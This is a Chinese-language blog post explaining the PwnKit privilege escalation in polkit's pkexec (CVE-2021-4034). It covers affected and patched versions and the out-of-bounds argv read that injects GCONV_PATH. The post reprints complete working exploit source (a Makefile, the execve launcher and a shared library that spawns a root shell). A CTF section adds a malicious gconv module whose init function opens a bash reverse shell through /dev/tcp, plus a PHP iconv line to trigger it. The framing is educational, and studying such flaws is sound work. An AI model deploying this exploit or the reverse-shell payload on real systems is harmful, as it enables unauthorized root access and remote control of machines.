CVE-2021-4034 pkexec本地提权漏洞

2023-05-17 10:24:13 浏览数 (1)

CVE-2021-4034 pkexec本地提权漏洞

​ 这个漏洞早在去年的时候就看过一些文章了, 不过一直都没用过这个漏洞的打法, 直到昨天的DASCTF才上手用了这个漏洞的一小段原理, 今天就写一篇关于这个漏洞的文章吧。

漏洞简介

NVD对这个漏洞的描述如下:

​ 在polkit的pkexec工具上发现了一个本地权限升级的漏洞。pkexec应用程序是一个setuid工具,提供了一个授权 API, 允许非特权用户根据预定义的策略作为特权用户运行命令, 作用有点类似于sudo。有漏洞的pkexec没有正确处理调用参数计数,最后导致将环境变量作为命令执行(特权用户身份执行)。攻击者可以利用这一点,通过制作环境变量的方式,诱使pkexec执行任意代码。当成功执行后,攻击者可以在目标机器上给非特权用户以管理权限(root),从而导致本地权限升级。

影响版本

代码语言:javascript复制
2009年5月至今发布的所有 Polkit 版本均可使用漏洞。由于为系统预装工具,目前存在Polkit的Linux系统均受影响。

安全版本

代码语言:javascript复制
CentOS系列:

CentOS 6:polkit-0.96-11.el6_10.2

CentOS 7:polkit-0.112-26.el7_9.1

CentOS 8.0:polkit-0.115-13.el8_5.1

CentOS 8.2:polkit-0.115-11.el8_2.2

CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:

Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2

Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6

Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5 esm1

Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6 esm1

漏洞复现

在这里先使用个最容易使用的poc:https://github.com/berdav/CVE-2021-4034

漏洞分析

plokit基本组成

在了解这个漏洞前先看看plokit架构的一些组成部分方便了解pkexec的作用,在这里用引用一下大佬的文章:

polkit— 授权管理器

polkitd— polkit 系统守护进程

pkcheck— 检查一个进程是否被授权

pkaction— 获取有关已注册操作的详细信息

pkexec— 以另一个用户身份执行命令

pkttyagent— 文本认证助手

数组溢出

​ 首先要知道当我们在bash中调用一个程序的时候即使我们没有输入任何参数在argv中也会有一个默认的参数argv[0]表示当前程序所在路径, 这时argc的值为1, 就是说正常情况下我们使用pkexec的时候再其函数内部argc的值至少也为1。所以在程序编写的时候有一个读取argv参数的for循环是根据argc来进行参数获取的。for循环代码为:

代码语言:javascript复制
for(n = 1; n<(guint)argc; n  )                           #注意此时n=1,正常情况下无参数时argc=1
{
    if(strcmp(argv[n], "--help") == 0)
    {
        opt_show_help = TRUE;
    }
    else if(strcmp(argv[n], "--version") == 0)
    {
        opt_show_version = TRUE;
    }
    else if(...)
    {
        其它的一些参数设置
    }
    else
    {
        break;
    }

}

...其它的一些判断help和version参数的语句, 不改变n的值
path = g_strdup(argv[n]);                               #正常情况下没参数就是获取到argv[1]

我们看以上代码的逻辑是没有问题的, 默认情况下无参数时argc = 1 , 同时argc 也是argv数组的大小范围。但是当我们在程序中使用execve()执行pkexec时如果传入的args参数和environ参数均为数组为{NULL}, 那么就会导致pkexe内的argc参数值为0。这时候我们再回到源码中看一下,

代码语言:javascript复制
是进入for循环:
n=1
n<(guint)argc  
判断发现 (n=1 > argc=0) 条件不满足,退出循环
...执行其它一些不会改变n值的代码
path = g_strdup(argv[n]);   
实际执行path = g_strdup(argv[1])

可以看到, 当我们使用execve函数执行pkexec的时候会导致pkexec内部执行代码:g_strdup(argv[1]) 但是我们上面说过, argv数组的大小取决于argc ,但是此时argc = 0 , 所以就导致了数组越界问题。

那么我们获得的argv[1]是什么呢?

代码语言:javascript复制
|--------- --------- ----- ------------|--------- --------- ----- ------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | 
|----|---- ----|---- ----- -----|------|----|---- ----|---- ----- -----|------| 
V         V                V           V         V                V 
"program" "-option"           NULL      "value" "PATH=name"          NULL 

​ 这个就是argv的存储结构, 可以看到后面接着的是envp变量数组, 这个数组就是我们上面提到的execve函数的第二个参数environ , 这个是环境变量参数, 使用execve运行pkexe时envp[0]的值为pwnkit.so:. 并且会在当前目录下创建一个名为GCONV_PATH=.的文件夹并且在文件夹下创建一个名为pwnkit.so:.的文件。

那么我们继续回到程序代码中看看接下来执行那些内容:

代码语言:javascript复制
g_assert (argv[argc] == NULL);
path = g_strdup(argv[n]);
if(path == NULL)
{
    usage(argc, argv);
    goto out;
}
if(path[0] != '/')
{
    s = g_find_program_in_path (path);
    if(s == NULL)
    {
        g_printerr(...);
        goto out;
    }
    g_free(path);
    argv[n] = path = s;
}
....

可以看到代码进行了如下操作流程(GLib ->find_program_in_path函数解释):

代码语言:javascript复制
1. 执行path=g_strdup(argv[n])越界读取到envp[0] = pwnkit.so:.
path = 'pwnkit.so:.'

2. if判断发现首字符并不是`/`然后进入if判断语句中

3. 执行s = g_find_program_in_path (path); 
建立文件夹'GCONV_PATH=.'然后在里面生成文件'pwnkit.so:.'然后返回地址'GCONV_PATH=./pwnkit.so'

4. ...

5. 执行argv[1] = path = s;
所以此时argv[1]被赋值为'GCONV_PATH=./pwnkit.so'

前面有说道, argv[1]其实就是环境变量数组中的envp[0], 所以就是写入了一个环境变量GCONV_PATH,。

但是这有什么用呢?

利用数组溢出设置环境变量加载so文件

在这里我们先了解一下漏洞的最后几步的利用原理就可以明白GCONV_PATH这个环境变量的关键了:

exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。

  • 当Linux中CHARSET不是设置为UTF-8格式,则会调用iconv,用于将文本从一种编码转化为另一种编码。
  • 在调用iconv之前需要通过执行iconv_open函数分配转化描述符号。
  • iconv_open函数的执行会受到GCONV_PATH环境变量影响:
    • GCONV_PATH未设置,那么iconv_open会加载系统默认的模块配置的缓存文件(默认的配置文件位于/usr/lib/gconv/gconv-modules)。
    • GCONV_PATH被设置,则会优先加载设置路径下的配置文件(例如/tmp/exp.so)。

通过上面流程可以看到我们是利用了一个数组溢出的漏洞去达到设置变量的目的, 然后尝试利用g_printerr函数打印错误信息的一些特征通过间接触发最后执行自行编译的.so文件中的恶意代码。

但是真的那么简单嘛?

并不是, 这个GCONV_PATH参数并不是任由我们随意更改的。linux的动态链接器会在特权程序执行的时候清除危险的环境变量,因此使用execve启动pkexec时,即使设置了GCONV_PATH也会被连接器清除。测试可以在本地设置一个文件为具有suid的可执行文件file1用于输出全部的环境变量, 然后再创建一个可执行文件file用来通过execve执行具有suid权限的file1, 并且将execve函数的第三个参数environ数组中加入GCONV_PATH这个变量。但是在执行file2的时候可以看到并没有GCONV_PATH变量输出, 就是因为这个变量被动态链接器删除了。

所以我们的数组溢出漏洞的作用就是为了绕过动态链接器的清除功能设置了GCONV_PATH=./pwnkit.so这个环境变量, 所以我们只要让pkexec使用g_printerr打印错误信息即可达到我们的目的: 加载当前目录下的pwnkit.so文件

因为pkexec具有suid权限, 所以就可以让我们的pwnkit.so文件中的恶意代码以root权限执行并且返回一个root的shell。

源码解析

源码

我们看一下上面工具中的源码:

CVE-2021-4034/Makefile

代码语言:javascript复制
CFLAGS=-Wall
TRUE=(shell which true)

.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

.PHONY: clean
clean:
    rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
    make -C dry-run clean

gconv-modules:
    echo "module UTF-8// PWNKIT// pwnkit 1">@

.PHONY: gconvpath
gconvpath:
    mkdir -p GCONV_PATH=.
    cp -f (TRUE) GCONV_PATH=./pwnkit.so:.

pwnkit.so: pwnkit.c(CC) (CFLAGS) --shared -fPIC -o@ $<

.PHONY: dry-run
dry-run:
    make -C dry-run

CVE-2021-4034/cve-2021-4034.c

代码语言:javascript复制
#include <unistd.h>

int main(int argc, char **argv)
{
    char * const args[] = {
        NULL
    };
    char * const environ[] = {
        "pwnkit.so:.",
        "PATH=GCONV_PATH=.",
        "SHELL=/lol/i/do/not/exists",
        "CHARSET=PWNKIT",
        "GIO_USE_VFS=",
        NULL
    };
    return execve("/usr/bin/pkexec", args, environ);
}

CVE-2021-4034/pwnkit.c

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {
}

void gconv_init(void *step)
{
    char * const args[] = { "/bin/sh", NULL };
    char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
    setuid(0);
    setgid(0);
    execve(args[0], args, environ);
    exit(0);
}

gconv-modules

代码语言:javascript复制
module UTF-8// PWNKIT// pwnkit 1

分析

pwnkit.c

就是单纯以root身份反弹得到一个shell

cve-2021-4034.c

为了满足我们一开始提到的数组溢出, args[]数组肯定为空了

代码语言:javascript复制
    char * const environ[] = {
        "pwnkit.so:.",                    //这个是什么我也没整明白
        "PATH=GCONV_PATH=.",          //要注入的环境变量(GCONV_PATH=.)
        "SHELL=/lol/i/do/not/exists", //无效的shell触发g_printerr函数打印错误信息
        "CHARSET=PWNKIT",             //gconv-modules指定的字符集(指定加载的.so文件在这里设置)
        "GIO_USE_VFS=",                   //运行pkexec的必须设置
        NULL                            //环境变量数组envp是以NULL结束
    };

代码不多原理也很明了就不多说了, 详细的还是直接从这里直接偷张图吧, 图中的源码exploit.c并不是我上面的演示工具里面的代码, 可见PwnKit-Exploit

CTF中的使用

简单说就是只用到了最后面的一点内容, 下面看一下怎么使用:

  1. 上传恶意.so文件
  2. 上传文件gconv-modules指定使用UTF-8字符集时iconv_open加载的缓存文件路径(/tmp/exp.so)
  3. 设置GCONV_PATH
  4. 使用php伪协议触发iconv
  5. 加载exp.so文件执行恶意代码

所以就是说我们需要先上传两个文件到/tmp下:

gconv-modules

代码语言:javascript复制
module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module  INTERNAL   EXP//    ../../../../../../../../tmp/exp    2

exp.so源码

代码语言:javascript复制
#include 
#include 

void gconv() {}

void gconv_init() {
 system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}

然后php执行:

代码语言:javascript复制
putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

现成工具这里给几个地址吧:

  1. https://github.com/berdav/CVE-2021-4034
  2. https://github.com/luijait/PwnKit-Exploit
  3. https://github.com/arthepsy/CVE-2021-4034
  4. https://github.com/PeterGottesman/pwnkit-exploit

0 人点赞